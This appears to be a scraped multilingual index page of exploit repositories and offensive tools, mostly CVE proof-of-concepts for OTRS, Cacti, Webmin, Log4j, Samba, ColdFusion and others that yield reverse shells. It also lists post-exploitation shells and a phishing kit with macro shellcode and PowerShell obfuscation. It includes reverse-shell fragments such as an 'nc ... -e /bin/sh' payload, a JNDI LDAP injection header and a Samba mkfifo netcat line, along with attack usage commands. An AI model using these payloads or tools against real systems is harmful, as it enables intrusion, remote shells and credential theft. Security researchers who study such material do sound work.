OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 リモートコマンド実行 このエクスプロイトは https://www.exploit-db.com/exploits/43853 に基づいて開発されています。 OTRS パネルに対する認証を実行し、リバースシェルを提供します。 使用方法: python3 CVE-2017-16921.py CVE-2017-16921: OTRS 6.0.x（6.0.1 まで）、OTRS 5.0.x（5.0.24 まで）、および OTRS 4.0.x（4.0.26 まで）において、エージェントとして OTRS にログインしている攻撃者が、（PGP...

put2win

put2win Script to automate PUT HTTP method exploitation to get shell. Installation root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh Usage root@kitploit: Script to automate PUT HTTP method exploitation to get shell. Options: -t TARGET Target URL/IP e.g...

CVE-2022-46169

CVE 2022-46169 このスクリプトは、Cacti バージョン 1.2.22 以前に存在する未認証のコマンドインジェクションの脆弱性を悪用して、未認証のリモートコード実行を実現し、リバースシェルを取得します。...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 リモートシェル Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。 ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。 エクスプロイトの実行 root@kitploit: make クロスコンパイル用Makefileにより、exploit.exe はWindowsマシンでも利用可能です。 次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。 コマンド root@kitploit: ./exploit ""...

CVE-2022-24715

Icinga Web 2 - Ejecución remota de código autenticada 2.8.6, 2.9.6, 2.10 Ejecución remota de comandos Shell inversa Uso root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64に変換 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= ペイロード curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念実証 Log4j PoC フォロー Youtube Twitter...

CVE-2016-10033

CVE2016-10033 エクスプロイト PoC このリポジトリには、脆弱なバージョンのWordPress上でCVE2016-10033を悪用するために必要なファイルが含まれています。 これらの手順に従うことで、Apacheサーバーを実行しているユーザーとしてWordPressを実行しているコンテナ内で、リバースインタラクティブシェル（疑似TTYではない）を取得できます。 このエクスプロイトは、いかなる種類の認証やプラグインも必要としません。WordPressのプレーンなコードと、WordPressからメールを送信するためのExim4...

CVE-2026-23744-script

CVE-2026-23744用のスクリプトです。MCPJam Inspector（バージョン = 1.4.2）を悪用します。ここで使用されているcurlコマンドに基づいています： https://github.com/advisories/GHSA-232v-j27c-5pp6 /etc/hostsファイルが正しく、ターゲットのドメイン/vhostを指していることを確認してください。...

ShadowPhish

🕵️‍♂️ ShadowPhish - APT 意识提升工具包 版本: 1.0 作者: Joas A Santos 用于网络安全意识、钓鱼和基于APT的社会工程的视觉模拟器。 🔥 特性 ✅ 恶意PDF生成器 ✅ 带远程shellcode的Word宏 ✅ PowerShell混淆（Base64、IEX、压缩、变量） ✅ 远程VBS + 嵌入式HTTP服务器 ✅ 预构建的钓鱼网站（.sites/） ✅ 虚假Recaptcha（PasteJack风格） ✅ 深度伪造视频（FaceFusion）和DeepVoice TTS ✅ Windows、Linux、macOS载荷生成器 ✅...

revsh

revsh revsh は、リバースシェルをターミナルサポート付きで確立し、高度なピボットのためのリバースVPN、および任意のデータトンネリングを行うツールです。 ニュース 2018-08-09 : 新リリース。主にバグ/安定性の修正と、OpenSSL 1.1.0 を使用したビルドプロセスに関するドキュメントの改善。更新されたビルド手順については、以下の インストール セクションを参照してください。 概要 「リバースシェル」とは？ リバースシェルとは、リモートホストにシェルアクセスを提供するネットワーク接続です。telnet や ssh...

CVE-2024-36401-PoC

CVE-2024-36401-PoC このリポジトリには、CVE-2024-36401 の概念実証 PoC スクリプトが含まれています。この脆弱性を悪用すると、標的サーバー上でリモートコード実行が可能になります。 特徴 Perl を使用してリバースシェルリスナーを設定します。 Base64 を使用してコマンドをエンコードします。 脆弱性を悪用するために標的サーバーにリクエストを送信します。 シグナル処理により割り込みを適切に処理します。 前提条件 Python 3.x requests ライブラリ インストール 1. このリポジトリをクローンします: root@kitploit: git...

cve-2015-1538-1

以下は、CVE-2015-1538（1）として知られる「stsc」脆弱性を悪用し、MP4を生成するPythonスクリプトです。これは私がStagefrightライブラリで報告した最も重大な脆弱性の1つです。このエクスプロイトの期待される結果は、mediaユーザーとしてのリバースシェルです。私のBlack HatおよびDEF...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...

webmin_1.920

CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行 これは、CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行のためのpython3スクリプトです。ファイアウォールを回避するためにmkfifoを使用してリバースシェルまたは疑似インタラクティブシェルを作成します。これは、CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行のためのpython3スクリプトです。ファイアウォールを回避するためにmkfifoを使用してリバースシェルまたは疑似インタラクティブシェルを作成します。 はじめに プログラムの実...

CVE-2022-46169

CVE-2022-46169 POC これは、Cacti バージョン 1.2.22 に影響を与える CVE-2022-46169 脆弱性の概念実証 POC スクリプトです。 説明 CVE-2022-46169 脆弱性は、Cacti バージョン 1.2.22 までのバージョンにおいて、認証されていないコマンドインジェクションを許容し、www-data ユーザーとして認証されていないリモートコード実行を達成するものです。この脆弱性は、"remoteagent.php" ファイルの "hostid" パラメータにおけるユーザー入力の不適切な検証に起因します。 使用方法 root@kitploi...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 に問題が発見されました。passwordchange.cgi のパラメータ "old" と "expire" には、コマンドインジェクションの脆弱性が含まれています。 使用方法 1. 赤いボックスでリスナーを起動します。 root@kitploit: rlwrap -cAr nc -lvp 1919 2. エクスプロイトを実行します。 root@kitploit: ./exploit.sh 3. 次の引数がプロンプトで求められます：...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

CVE-2024-24590

ClearML エクスプロイト このリポジトリには、ClearML のデシリアライゼーションの脆弱性を悪用する概念実証エクスプロイトが含まれており、リモートコマンド実行を可能にします。このエクスプロイトは、悪意のあるピクルスアーティファクトを ClearML にアップロードしてリバースシェルを取得する方法を示しています。 前提条件 始める前に、以下の要件を満たしていることを確認してください: ClearML を実行しているマシン。 Python 3.8 以上。 clearml ライブラリがインストールされていること。pip を使用してインストールできます: root@kitploit:...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE このリポジトリには、Adobe ColdFusion 2018 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 このエクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...